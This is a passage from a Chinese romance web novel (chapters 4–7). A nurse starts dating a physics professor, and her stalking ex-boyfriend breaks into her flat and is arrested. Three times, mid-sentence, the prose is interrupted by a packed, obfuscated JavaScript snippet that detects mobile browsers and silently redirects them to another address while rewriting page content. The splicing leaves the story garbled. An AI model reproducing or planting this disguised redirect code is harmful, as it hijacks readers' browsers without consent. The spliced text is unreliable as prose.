涂夏“嗯”了一声,轻声说:“你不用特意来医院接我,直接约定好地方,我打车过去会省事很多。” 赵聿明沉默了两秒,他解释说:“我回家会路过医院,所以接你是顺便。” “顺便?”涂夏笑了笑,太欲盖弥彰了吧。 电话里传来赵聿明的低笑,他说:“我住在宜水湾,所以真的是路过。” “好,路过。” “那你先在住院大厅坐会儿,我现在出发去医院,到了发信息给你。” 她没有拒绝理由了,说了句“好”。 赵聿明没有开车进医院,而是把车停在了北门出口的路边,他给涂夏发过消息,开门下车。 大约等了三四分钟,涂夏出现在他的视野里,鸭舌帽,波浪卷发,印有英文字母的黑色短袖,浅蓝色牛仔短裤,整体给人一种年轻有活力的感觉。 涂夏似乎是看到了他,抬手打着招呼,上衣随着动作起伏,露出一截白皙的腰腹。 赵聿明走上前,问:“需要拎包吗?” 涂夏不可置信地看着他:“你一个物理学教授给我拎包?我没听错吧。” “物理学教授也是人。” “从咱俩站这块儿到你车那里也就两步路的功夫,等以后正式交往了,你再帮我拎。” 餐厅是赵聿明选的,一家意境十足的西餐厅,二人跟随服务员的指引坐下,依旧是涂夏点单,不过这次不AA,他请客。 涂夏点菜时很谨慎,因为这家西餐厅的菜品有些小贵,她有点不好意思。 赵聿明看着她皱眉纠结,说:“我来吧。” “好。”涂夏点点头,把菜单递给他。 她简直是如释重负。 点过餐,涂夏开始找话题聊天,她盯着赵聿明健硕有劲的身材看了许久,问:“你平常有健身的习惯吗?” 赵聿明轻声说:“偶尔会去趟健身房,但平常有早起跑步的习惯。” 涂夏:“那你生活作息还挺规律。” 赵聿明弯起唇角笑了一下,他说:“平常没什么兴趣爱好,所以生活有些无趣。” “倒也不能这样说,你这叫自律。”涂夏倒也想早起跑步锻炼身体,可奈何自己意志力实在太薄弱,晚睡可以,早起不可能,住医院附近也是为了多睡二十分钟。 两个人有一搭没一搭的聊着,服务员也陆陆续续的把菜品上齐,吃过饭,涂夏提出请他看电影。 赵聿明打开导航,搜索了附近商场的电影院,他把车开进地下车库,停稳之后,涂夏解开安全带下车。 他走到涂夏身边,问:“电影院可能会有些冷,我后备箱里有外套,要不要拿着?” 涂夏有些意外,没想到他心思这么细,连忙点头,说:“可以呀。” 赵聿明打开后备箱,拿出购物袋里的西装外套,轻轻地搭在自己手臂上。他今天要给学生上课,所以穿得稍微正式些,白衬衫,青灰色西装裤,显得格外成熟稳重。 在来的路上,涂夏已经在小程序上挑选并购买了电影票,等到了商场电影院以后,她直接在自助取票机上打印了纸质票单。 新上映的电影不多,只有一部是爱情题材的,检票员查过票,二人顺着走廊走进观影厅。 找到位置坐下后,涂夏扫了座椅扶手上的点餐码,移动着身体,往赵聿明那边再靠近一些,她小声问:“我要点奶茶,你要喝什么?” 赵聿明低下头,正好和她的眼睛对上。 两个人挨的很近,他甚至能闻到涂夏身上那股淡淡的甜橙香气。 电影还没开始放映,观影厅里的灯也还亮着,只是简单的靠近,她就已经悄无声息地闯进了赵聿明的心里。 涂夏仰着头,眨了眨眼睛,长睫微颤,脸颊因为刚才的走动而泛着红晕,她无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781357|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是冷脸生气,还是开心微笑,都很灵动可爱。 赵聿明定了定神,说:“都可以。” “那我就看着点了。”涂夏再次低下头看手机,她选了两杯果茶,随后又问:“你要加冰吗?” 赵聿明把头偏了一下,说:“晚上喝加冰饮料肠胃容易不舒服,喝常温的吧。” 涂夏“哦”了一声:“那你喝常温的,我喝加冰的。”说话间,她就要点进付款页面。 赵聿明伸出手,弯起食指,轻轻敲了敲她的手机屏幕,提醒道:“两杯常温。” “为什么?”涂夏上了一天班,心里多多少少积攒了点怨气:“赵聿明,我还不是你女朋友呢,我喝个加冰的怎么了?” 赵聿明没有说话,就这么安静地看着她,场面有些僵持不下。涂夏看出他有点生气,丧着脸不情不愿地把两杯果茶移出购物车,转而换了两杯茉莉烤奶。 工作人员把奶茶送来,涂夏一言不发地放到他手边,电影正好开场,现场的氛围逐渐安静下来,她也不好打破这场尴尬。 看这部电影的,大多是情侣,他们相互依偎着,在彼此耳边小声说着甜言蜜语。涂夏开始后悔选爱情片,她就应该选个科幻片,讨好别人不如讨好自己。 电影院的冷气很足,没一会儿涂夏就受不了了,她把奶茶放下,双手搭在腿上,扭脸看了眼赵聿明,见他还是不打算搭理自己,只好回过头把注意力放在电影上。 赵聿明双手环在胸前,眼角余光瞥见了她的小动作,有些无奈,他弯腰拿出购物袋里的外套,侧着身递给涂夏。 涂夏看着眼前突如其来的外套怔了两秒,随后轻声说了句“谢谢”。 时间漫长,涂夏压根就不知道电影演了点什么剧情,她无聊得都快要睡着了。 眼睛快要闭上时,屏幕突然出现男女主角拥吻的画面,周围的小情侣也在这种浪漫氛围的烘托下揽着对方的肩膀开始亲吻,甚至忘我到发出了暧昧不清的声音。 涂夏捧起奶茶,强壮镇定,她尴尬得都想找个地缝钻进去。 余光扫过赵聿明的侧脸,只见他依旧稳若泰山,神情专注,视线从头到尾都没移开过,就好似没有注意到周围的异样。 涂夏心想这人也太淡定了吧。 万幸的是,男女主角亲吻已经是电影的最后部分。结束后,他们从电影院出来,赵聿明停下脚步,问:“要逛街吗?” “不了。”涂夏摆手:“我明天还要上班。” “那好,我送你回家。” 二人走到地下车库,赵聿明打开车门示意她上车,他伸手把车钥匙递给涂夏。 涂夏疑惑地问:“是要我开车吗?” 赵聿明:“我有点事,你先坐车里等我。” “是要买东西吗?我陪你吧。”涂夏说着就要下车,赵聿明拦住她,说:“不用,我很快就回来,有事打我电话,记得把车门从里面反锁,无论是谁,无论他说什么,你也不能下车,乖乖在车里坐着等我回来。” 涂夏惊讶地点头说:“好。” 大约过了十五分钟,赵聿明捧着一束鲜花,拎着一个购物袋从电梯里出来。 涂夏开门下车,赵聿明走近她,说:“如果关心你需要一个身份的话,那你能不能考虑一下,让我做你男朋友。” “你上楼就是去买花?” “嗯。”赵聿明低头看着她,眼神坚定:“我觉得表白要从一束鲜花开始。” 涂夏看了眼他手里的花,轻声说:“我今天没办法给你回答,等下次见面可以吗?” 赵聿明点头:“可以。” 5. 第 5 章 从商场出来,赵聿明按着导航行驶,一路上都很安静,涂夏看着怀里的花,还有手里的礼物,弯唇笑着。 赵聿明问:“你平常自己住吗?” “嗯。”涂夏点头:“上次你送我回家,是回的我爸妈家,我工作以后就自己租房子住了。” 赵聿明转动方向盘,拐过红绿灯路口,缓缓行驶几分钟后,轻声开口:“一个人住要注意安全,最好在门口和家里都装上监控。” 涂夏说:“走廊里有监控。” 赵聿明透过前车窗的反光看了她一眼,提醒道:“有监控也要提高警惕,不法分子不会因为有监控而放弃犯罪。” “哦。”涂夏扭过头看他,说:“你们这些老师真的很喜欢讲大道理,虽然我很讨厌说教,但还是谢谢你的关心,我会注意的。” 赵聿明轻声笑了笑。 二十分钟后,车子停在小区门口,他解开安全带下车,快步绕到副驾驶给涂夏开门。 涂夏手里还捧着花,解安全带有些不方便,折腾了半天才下车,两个人面对面站着,她说:“谢谢你的花和礼物。” “我送你上楼。” 她摆手婉拒:“时间太晚了,你明天也有课,就赶紧回家吧。” 赵聿明思考了两秒,说:“你到家后给我发个信息。” “好。” 涂夏跟他说完再见,转身走进小区。赵聿明看着她的身影逐渐消失在夜色里,眼神闪过不舍,他重新坐回车内,盯着手机屏幕,等着涂夏的信息。 小区里寂静无声,涂夏乘电梯上楼,走过一段长廊,她伸手解开指纹锁,推门进去,左脚刚迈进家门,她就察觉到不对劲儿。 早上出门前,她特意把拖鞋收进了柜子里,现在拖鞋被动过,隐隐约约的还能看见藏在鞋柜挑空下的男款运动鞋。 涂夏退后一步,重新把门关上,快速往电梯方向走,她掏出手机,拨打了赵聿明的电话。 “喂,你在哪儿?我家里好像进了人。” 赵聿明听到她的声音有些颤抖,连忙从车上下来,冷静地问:“我在小区门口,马上进去。你在家里吗?” “没有。”涂夏迟迟等不到电梯,心里越来越着急,目光扫过步梯,果断选择换种方式下楼,她双手捂住手机听筒,小声说:“进小区右拐,第二栋楼,单元门密码4379,不要等电梯,走步梯上来。” 赵聿明:“好,电话不要挂断。” “嗯。” 赵聿明跑到楼下,快速按下密码,推门进步梯间,最后在五楼拐角遇见了涂夏。 涂夏在看到赵聿明的那刻,心里悬着的心终于放下,她撑在楼梯扶手上,差点要哭出来。 “好了,没事了。”赵聿明安慰她。 涂夏点点头:“嗯。” “我已经报警了,先下楼等警察过来。” 两个人走到楼下,涂夏打电话通知了保安处,没过多久警察就到了。 涂夏简单地把情况交代清楚,然后领着警察坐电梯上楼搜查,赵聿明陪她守在家门外。 只听见警察的一声呵斥:“出来!” “真的有人!”涂夏瞪大眼睛,仰头看向赵聿明,说:“今天要不是你提醒,我可能真的要上电视了。” 赵聿明愣了一下:“什么?” 涂夏说:“我被杀了呀。” 赵聿明表情严肃,心想都这种时候了,她还能开玩笑,不知道是心大,还是不在乎。 警察把藏在她家里的人抓了出来,涂夏看着那张熟悉的脸,气到爆炸,她一个箭步冲上去,指着对方的鼻子骂道:“林炜,你TM的有神经病啊!” “认识?”警察问。 涂夏看了眼赵聿明,实话实说:“前男友。” “跟我们回派出所做个笔录吧。” “好。” 赵聿明跟着涂夏一同坐上了警车。 深夜的派出所里,有意识不清的醉酒大汉,有打架斗殴的社会青年,当然也有趁着前女友上班,躲到她家里伺机报复的渣男。 林炜被拷了起来,警察问:“你为什么躲在别人家里,想做什么?” “我就是想复合,真没什么坏心思。” “怎么进去的?” “找了开锁的。” “哪家开锁的啊?你不是住户他给你开?” “我有单元门的密码。” 涂夏在一旁听着,复合?做梦呢。 做完笔录,从派出所出来,赵聿明看了眼时间,已经凌晨了,他说:“你那里不安全,最好换个地方住。” 涂夏点了点头,有些无奈:“我先回爸妈家住几天。” 赵聿明陪她回去收拾了几件衣服,然后开车把她送到父母家。第二天一早,涂妈起床看到涂夏在家,皱着眉问:“你什么时候回来的?” “昨天晚上。”涂夏刷着牙,含糊不清地说:“我这几天要住在家里。” 涂妈笑了笑:“我可不给你做早饭啊。” 涂夏漱过口,抽了张洗脸巾擦手,她走到涂妈身边,说:“您那厨艺就留着祸害我爸吧。” 做饭是天赋,涂妈没有这方面的基因,涂夏也没有,从她有记忆,母女俩就是整天眼巴巴的等着涂爸投喂。 后来餐馆忙,顾不上她俩,做饭的重任就落在了涂夏弟弟身上。 涂夏有时候会调侃她弟:家生奴用着顺手。 * 那套房她刚交过租金,也不好跟立刻跟房东说退租,只能挂上某鱼,转租出去。 涂夏在爸妈家住了几天,实在忍受不了每天早起半小时去等公交上班,她打开租房软件,开始寻找医院附近的短租房。 结束一天工作后,涂夏洗过澡,敷着面膜躺床上刷短视频,赵聿明发了信息过来。 【要不要考虑一下搬家?】 涂夏:【有这个打算。】 赵聿明:【想在哪里租房子?】 涂夏:【还是在医院附近,我现在住爸妈家,每天要起很早去赶公交,太折磨人了。对了,医院附近有没有你熟悉的小区,最好是安全性高一点的。】 赵聿明:【我在医院附近有套房,你可以搬去住。】 涂夏打字的手顿了一下,把原本要说的话删掉,回了个语音条给他:“这不合适,咱俩没认识多久,我就住你的房,不合规矩。” 赵聿明听完语音条,回:【那套房没人住,空着也是空着,不如你住进去添点人气儿。】 这是把她当人型空气净化器了?她犹豫着没回,赵聿明却发来了小区定位。 她看着小区周边的设施,学校,医院,商场,地铁,一应俱全,这怕是赵聿明为了结婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781358|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备的婚房吧。 涂夏摘掉面膜,去卫生间清洗干净,回来后给他回了个电话,她连着蓝牙耳机,一边护肤,一边说:“你先问我要不要搬家,又问我想租哪里,我说医院附近,你说你在医院附近有套房,处心积虑的想干嘛呀?” 赵聿明听她说完,低声笑了笑。 “别笑。”涂夏佯装严肃:“赵聿明,那是你婚房吗?” 赵聿明:“不算。” “不算?那就是喽。” 他没有反驳,涂夏接着说:“上次你问我能不能考虑一下让你做我男朋友,我现在考虑清楚了,你想知道结果吗?” 电话安静良久,他只简单地说了句“想”。 涂夏笑了笑,说:“下次见面吧,更正式一点。” 赵聿明既紧张又无奈,他笑着问:“下次见面是什么时候。” 她打开相册,看了眼这周的排班,问:“你周六有空吗?” “有。” “那好,我周五上夜班,周六早上八点,你来医院接我。” “好。” 涂夏没忍住笑了,问:“你很紧张吗?” 赵聿明故作轻松地笑着:“也没有很紧张。” 涂夏不管那么多,在她眼里没有很紧张就是紧张,她还记得赵聿明住院时的样子,躺在病床上任她“宰割”,无论自己做什么,他脸上的表情始终严肃正经。 术前备皮,涂夏端着治疗盘走进病房,指着他要开刀的腿说:“把裤子往上撩起来。” 赵聿明冷着张脸,乖乖听话。 涂夏把肥皂水涂在他腿上,用备皮刀轻轻地把汗毛刮下来,她抽出纸巾清理干净,起身时四目对视,只见赵聿明满脸严肃地盯着自己。 她笑着说:“不要不好意思,在我们医护人员眼里是不分男女的,再说了刮个腿毛而已,又不是刮别的地方,你个大男人就别害羞了。” 赵聿明面无表情地说:“能理解。” 他手背血管很好,粗直有弹性,涂夏在他胳膊上绑上压脉带,左手攥着他的手,右手拍击着手背,时不时按压两下确定血管。 就在赵聿明以为她要消毒扎针的时候,她站了起来,把位置腾给了实习生。 赵聿明眼神错愕。 涂夏笑着说:“您血管好,让实习生试试,也算为医疗事业做贡献了,您放心,我就在旁边盯着,就试一下,扎不上我来。” 实习生看了眼涂夏,小声说:“老师,他表情好渗人啊,要不还是你来吧。” “没事儿,你别看他,盯着手看。” 师徒俩的声音不算小,赵聿明听得一清二楚,他看了涂夏一眼,说:“没事儿,你扎吧。” 最后也没轮到涂夏扎第二遍。 她在敷贴标签上写好时间,嘱咐说:“液体慢慢滴就行,等着手术室的人来接,别吃东西别喝水。” 科室里都知道17床是个大帅哥,每天像参观动物园一样,往他病房里凑,奈何医院有规定,每隔一段时间,就要巡视病房。 赵聿明就这么被人当成猴,看了一礼拜。 涂夏依旧笑着,挂断电话前,她问:“赵聿明,你住院的时候,是不是早就想投诉我了?但是怕我给你在背后使什么小绊子,所以忍到了出院。” 赵聿明笑了笑,说:“差不多是这样。” 6. 第 6 章 涂夏护肤结束,收到了孟宛云打来的视频邀请,她匆匆跟赵聿明道过晚安,切了电话。 “干嘛呢,这么久才接?夜生活这么丰富啊。”孟宛云说话也是个不着调的,幸好她戴了耳机,这是被她爸妈听见,且乱套呢。 涂夏掀开被子躺床上,冲着屏幕那头的人翻白眼:“说话靠点谱行吗?” 孟宛云嫌弃地说:“你也好意思说我?” “怎么不好意思?” 俩人从小一起长大,谁还不了解谁了?用双方家长的话来说,她俩是穿一条裤子也嫌肥。 孟宛云注意到了她的视频背景,问:“你明天休息啊?” 涂夏:“不休。” 孟宛云:“那你怎么在爸妈家。” 不提还好,一提她就来气。涂夏换了个姿势,皱着眉说:“还不是林炜那个神经病,趁我上班找了开锁的藏我家,我一进门就发现了不对劲儿,以为是什么小偷杀人犯,吓得我关上门就往外跑。” 孟宛云也被吓到了,她问:“你没事吧?” 涂夏摇头说:“没事。” 孟宛云又问:“最后怎么解决的。” 涂夏:“朋友报了警。” “朋友?”孟宛云有些吃醋:“你哪个朋友啊?” 涂夏看着她的表情,笑了笑,说:“未来的男朋友。” 她说完这句话,孟宛云直接惊掉了下巴,不可置信地问:“是上次那个吗?” 涂夏点了点头。 孟宛云给自己鼓着掌,她笑得开心:“我就说嘛,你那天宜相亲,不枉我起大早给你算塔罗牌,看来姐的技术又进步了。” 两个人聊了半个多小时,最后考虑到涂夏第二天还要早起上班,就挂断了电话。 周五傍晚,涂夏换好衣服从更衣室出来,护士长叫住她,说:“家里有喜事啊?这么开心。” 涂夏笑了笑:“家里没有,我有。” 护士长:“发横财了?” 涂夏一瞬间蔫儿了:“要发横财就好了。” 护士长笑着说:“走吧,去交班。” 转过病房,白班的同事洗手下班,后半夜值班的同事在休息室睡觉,整个护士站就剩下她和实习生。 把病人的定点液体挂上以后,涂夏掏出手机,打开外卖软件,打算点杯咖啡防止犯困。 “妹妹,你喝奶茶还是咖啡?” 实习生:“奶茶吧,咖啡喝了睡不着。” 涂夏把手机递给实习生,说:“你看看想喝什么,我去治疗室把药加一下。” 加过药,实习生把手机还给她,涂夏给自己选了杯咖啡,支付成功后她开始思考明天该怎样跟赵聿明表白。 大概是老天爷心疼她,夜班一个急诊病人都没有,过了十一点半,同事从休息室里出来,涂夏喊了实习生洗手休息。 第二天早上六点半,涂夏被闹钟吵醒,她去卫生间上了个厕所,顺便洗漱,出休息室前对着镜子整理好衣服和帽子。 一直熬到八点,终于解脱。她出了电梯就给赵聿明打电话:“我下班了,你到了吗?” 赵聿明听到了她声音里的疲惫,有些心疼:“我在一楼大厅。” “好。”涂夏快步往外走,手里的电话没有挂断,最后她的目光定在门口的绿植前。 赵聿明依旧是衬衫西装,颈间打了条与西装同配色的领带,看起来很是隆重严肃,他身形高挑,举手投足间尽显矜贵优雅。 涂夏看着旁边咖啡店玻璃墙上自己那沧桑身影,顿时想死的心就有了。 她慢悠悠地走过去,有些生气:“你打扮这么帅干什么?” 赵聿明说:“我觉得这样显得比较尊重。” 涂夏上下打量他一眼,帅是真帅,但也衬得她很难看。 “我带了早餐,去车里吃点。” “嗯。” 涂夏把包递给他:“拎着吧,赵老师。” 赵聿明笑了笑,伸手接过,他提着包,跟在涂夏身后,说:“遵命,小涂护士。” 涂夏没忍住笑了。 回到车里,赵聿明把打包袋打开,把里面的一次性餐盒拿出来,他不知道涂夏平常吃什么早点,就每样准备了一些。 涂夏问:“这么多啊?” 赵聿明说:“给你选择。” 他抽出湿纸巾递给涂夏:“擦擦手。” “嗯。”涂夏在科室洗过手了,但来回接触电梯按键,还是很脏,问:“有消毒湿巾吗?” 赵聿明:“有。” 他找出消毒湿巾递给涂夏,自己顺便也擦了擦。 吃过早饭,涂夏有些犯困,但还是想着要把事情说清楚,她仰头喝了两口温水,在心里默默地给自己打气。 她侧着身体,眼睛看向赵聿明。 涂夏说:“我没跟人表过白,说错了什么你也别在意。” 赵聿明点头。 “咱俩认识时间不长,也没有经历很多同甘共苦促进感情的事,所以我没办法骗自己,说自己很喜欢你。” 她说完这句话,赵聿明的心里明显的慌了,欲言又止:“你……” 涂夏接着说:“但是我愿意和你尝试着开启一段新的感情,我能确定的是,我对你是有喜欢的。因为我们在不熟的情况下,你对我依旧很温柔,很细心,相处的每一刻你都会顾及到我的感受,所以我认为你是一个很好的恋爱对象,或许可以说是很好的结婚对象。” 她盯着赵聿明看了良久,直到问出最后一句话:“听完这些,你还愿意做我男朋友吗?” 赵聿明沉默着,涂夏得不到他的回应,渐渐放弃了。 她回过身,想要开门下车。 赵聿明却开了口:“我会努力的。” 涂夏手上的动作一顿,回过头,问:“什么?” 赵聿明看着她的眼睛,说:“我会努力,努力让你对我的有点喜欢变成很喜欢。” 涂夏此刻有些想掉眼泪,他说的话真的很容易让人动容:“好,我相信你。” “那我现在是你男朋友了吗?” “是。”涂夏点头。 确定了关系,赵聿明开车送她回家,涂夏歪着头靠着车窗玻璃睡着了,她每次上夜班,眼底都会有一层乌青,整张脸也没什么血色。 她睡的不安稳,车稍微停一下就会醒,一路上断断续续的睡着醒来,脸色更差了。 赵聿明侧身给她解开安全带,轻声问:“你什么时候休班?” 涂夏说:“今天和明天。” 赵聿明思索良久,说:“搬去我那里住吧,我这两天休息,正好能帮忙搬家。” 涂夏迟疑了两秒:“房租按市价算。” “不用。”赵聿明拒绝:“我们之间不需要算这么清楚。” 涂夏笑了笑,说:“你不收租金我就不住。” 赵聿明不想收女朋友租金,就选了个折中的办法,他说:“把你原先住处的转租费抵我那套房的租金可以吗?” “那你就亏了呀。” “不亏。”赵聿明说完这句话,转身开门下车,他走到副驾驶,把门拉开:“好了,别想那么多,回家睡觉,明天我来帮你搬家。” 第二天一早,赵聿明开车来接她,电话铃声响起的那刻,涂夏懵了,她赶紧看了眼时间,距离二人约好的时间已经过了二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16781359|190433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分钟。 涂夏接起电话,从床上爬起来,着急忙慌的往卫生间跑,她问:“你已经到小区门口了吗?” 赵聿明听她声音有点哑,大约猜到了是刚醒来,他轻声说:“你别着急,不差这一会儿。” “我马上就下楼,你等我五分钟。” 挂断电话,涂夏快速洗漱换衣服,尽管如此,她口中的五分钟也被许多件小事延长成了十五分钟。 赵聿明站在车旁边,他五官出众,身姿挺拔,打眼一瞧就知道不是什么普通人。 时间刚九点,温度还没升上来,小区门口围了群闲聊天的老头儿老太太,他们不加掩饰地盯着赵聿明看,嘴上嘟囔着,不知道在说些什么。 涂夏出来时,很明显的注意到了这点。 “你下车干什么?一会儿这群老太太把你家底儿都扒出来。”涂夏催促着他上车。 赵聿明笑了笑,替她打开车门。 有老太太见他等的人是涂夏,隔得老远就开始喊:“老涂家闺女,干嘛去呀?” 涂夏笑得无奈,她回过头,说:“我跟男朋友去约会,您要跟着吗?” “我一老太太凑你们小年轻热闹干嘛呀,结婚了记得请我们吃喜糖。” 她迈脚上车,说:“放心,忘不了。” 人群里发出阵阵哄笑。 赵聿明发动车子,缓缓驶离小区。 “饿不饿?要不要先找个早餐店吃饭?” 涂夏摸了摸肚子,皱着眉说:“有点儿,但我家冰箱里还有点食材,不吃浪费,回家现做吧。” 赵聿明拐进满是梧桐树的辅路,速度明显慢了很多,他问:“你平常早上吃什么?” “有时候路过早餐店买点包子甜粥,有时候在家里做。”涂夏说这句话时,明显的底气不足,因为她顶多就是把冰箱里的速冻早餐,放在蒸锅上热一下。 “你会做饭?” “不会。你会吗?” “会。” “那以后你要辛苦点了。” 赵聿明低声笑了笑,涂夏问:“你笑什么?” “没什么。” 涂夏到家后,先把空调打开,让赵聿明在沙发上坐着,她翻开冰箱,拿了两颗鸡蛋,打算做个三明治。 赵聿明看着她生疏的动作,起身走到厨房,伸手接过煎锅:“我来吧。” “没事,我可以。”涂夏紧握着不放。 赵聿明无奈地松开手,他拿起旁边的铲子把鸡蛋翻了个面,说:“我们一起。” 两个人离得很近,他们的胳膊偶尔会随着动作碰到一起,涂夏认真地盯着煎蛋,赵聿明自上往下看,目光停留在她长长的眼睫上。 阳光透过侧面窗户照进来,有些晃眼。 涂夏看着他熟练的动作,瞬间明白自己是添乱的一方,她退到赵聿明身后,说:“厨房交给你了,我去收拾行李。” 赵聿明看着她飞快逃离的身影,摇头笑着。 吃过早饭,涂夏又重新投入到了“战场。” 赵聿明看着堆满客厅的行李,逐渐陷入了沉思,他有点好奇,这么小的房子,是怎么放下这么多东西的。 涂夏尴尬地笑了笑:“东西是有点多,主要是因为我有点恋旧,很多东西都不舍得扔,这就导致越攒越多,但你放心,我这个人爱干净,绝对不会把你的房子弄乱的。” “没事,我房子大,能放下。” “等我找到其他合适的房子就搬出去。” 赵聿明推着行李箱,说:“是要搬。” 搬一个更大的房子,放下她的所有东西。 涂夏有些惊讶:“我还没住你就赶人?” 7. 第 7 章 涂夏搬家时落了东西,她想着下班路过,顺便回去取一趟,坐电梯上楼,刚按下指纹锁开门,就察觉到身后有一团模糊不清的人影。 她不动声色地关门转身,刚抬起脚,就听见耳边传来阴森森的声音:“涂夏,你要去哪儿。” 涂夏把包带紧紧地攥在手里,猛地转身往后挥,只听“砰”的一声,那人被砸到摔在地上。 她看着倒地的男人,气愤地走上前,猛踹对方几脚,骂道:“林炜,你TM的还是不是人,咱俩分手八百年了,你能不能不要像鬼一样阴魂不散啊?” 林炜喝了酒有些站不稳,刚又被涂夏踹了几脚,此刻正趴在地上拼命地咳嗽。 “涂夏,不分手好不好。”林炜挪动着身体,使劲攀住她的脚。涂夏低头看着他,满脸嫌弃。 她掏出手机,拨打了保安处的电话。 林炜从地上爬起来,使劲拽着她的胳膊,咬牙切齿地说:“你不能走!你得听我解释。” “解释?”涂夏哼笑一声:“早干嘛去了?” “我是有苦衷的。”林炜哭着说。 涂夏露出讽刺的笑,轻声说:“你的苦衷就是一边和我谈恋爱,一边和前女友藕断丝连,哦对了,你们还背着我开房约/炮,林炜,最好别让我在医院感染科遇见你。” 她掰着林炜的手,尝试着脱身。 推搡之间,林炜恼羞成怒,直接把涂夏推到了地上,喝醉酒的男人满身蛮劲儿。保安正好上来,把他按在地上,强行控制住。 保安问:“需要报警吗?” 涂夏揉着手腕,说:“不用。” 林炜被保安带走以后,涂夏回去把剩下的东西收拾完,打车回了家。 赵聿明的那套房子是刚建成不久的新小区,地理位置好,设施到位,所以房价贵,安保措施也更为严苛。 房子在13楼,两百平的使用面积,装修风格是简单的黑白灰,涂夏没好意思住主卧,搬进了次卧。 到家之后,她把东西收好,去客厅的储物柜里翻出药箱,拿了贴膏药。 涂夏盯着自己泛红的手腕,低骂一句:“这孙子劲儿可真大。” 她这个人表面随和好说话,但骨子里脾气犟,眼里又揉不了沙子,不管是友谊还是爱情,只要对方做了背叛自己的事,她会毫不犹豫的选择划清界限,让那些人渣彻底滚出自己的世界。 林炜喜欢翻旧篇儿,在一起的时候不珍惜,分手了就百般怀念前女友的好,他脸皮厚,又擅长死缠烂打买点东西哄几句,就能复合,表面跟她谈着,背地里又物色新的。 可他猜错了,涂夏跟他以前那些前女友不一样,她在医院工作那么多年,也遇见过不少因为私生活混乱得了梅毒艾滋病的,所以她不能忍受和林炜这样的人有过多接触。 俩人能处上对象全靠中间人对林炜天花乱坠的描述,刚在一起的时候,林炜承诺的千好万好,说结婚后再发生关系,可男人脑子里就那点龌龊事,连哄带骗的让涂夏和他睡觉,但涂夏接受不了,就一直没答应,直到涂夏撞破了他和前女友的好事。 林炜气急败坏地指着她骂,说你不给我还不许别人给我,我是一个男人,有欲望正常,你每天守着下半身,当一个老处女得了。 涂夏打小没受过什么委屈,她也不觉得洁身自好是件错事,就直接拎着东西砸他,手边有什么她就用什么,她和孟宛云一起,把这对儿狗男女揍的龇牙咧嘴的。 临走时涂夏还放了狠话,说他有胆就去报警,自己有时间耗,只要他不嫌丢人就行。 梧市就这么大点儿,涂夏又和老头老太太关系好,没事儿掉两滴眼泪,诉诉苦啦,不用她出马,这群爷爷奶奶辈儿的,也能把林炜这人渣治的服服帖帖。 处理好手腕上的扭伤,涂夏点了外卖等着配送,她把手机丢到沙发上,起身去了卫生间。 她推开卫生间的门,抬手按下开关,灯却没亮,以为是跳闸,就出去检查了一遍。 其他的灯都一切正常,偏就是卫生间的不亮,涂夏回到客厅,拿起手机,给赵聿明发了个信息:【房东先生,卫生间的灯不亮了。】 赵聿明刚处理完手上的工作,他坐在书桌前,靠着椅背,单手拿起手机,看见涂夏对他的称呼,嘴角止不住的上扬。 房东先生…… 他打字回:【应该是太长时间没用,它闹小脾气罢工了,你先用主卧的卫生间。】 涂夏:【你会修吗?】 赵聿明笑了笑:【你猜我是学什么的?】 涂夏抬手拍了拍脑门儿,心想自己问的这是什么破问题,一个物理学教授不会修电灯泡? 涂夏回了个语言条,她笑得开心:“不好意思,忘记你是学这个的了,那你什么时候有空,能不能来修一下?” 赵聿明:【现在就可以,你方便吗?】 涂夏:【方便。】 赵聿明起身往外走,他换好鞋,拿上车钥匙,坐电梯去了地下车库。 他和外卖员在同一时刻到了。 两个人面面相觑,外卖员问:“这是你家?” 赵聿明点头:“给我吧。” 外卖员把餐交给赵聿明,低头点了已送达。 涂夏出来开门,见赵聿明站在门口,手上还拎着她的外卖,有些惊讶:“我的外卖怎么在你手里?你还兼职外卖员啊?” 赵聿明:“刚好碰上,你晚上就吃这个?” 他进了门,把外卖放在玄关柜子上,弯腰换鞋,涂夏一直是独居,为了安全,她特意买了双男士拖鞋震慑那些心怀不轨的人。 自从搬了新住处,赵聿明隔三差五的来给她嘘寒问暖,那双男士拖鞋自然成了他的专属。 “凑活吃点儿呗,毒死总比饿死强。” 反正都是科技和狠活,躲又躲不掉,那就顺其自然,阎王要我三更死,自然活不到五更天,人各有命,活多久是命数。 赵聿明挽起袖子往厨房走,他看了眼冰箱,上次送来的东西一点没动,涂夏凑了过来,眨着眼睛,问:“你吃饭了吗?” 赵聿明侧头看她:“没有。” 涂夏:“我点的多,你要吃点吗?” 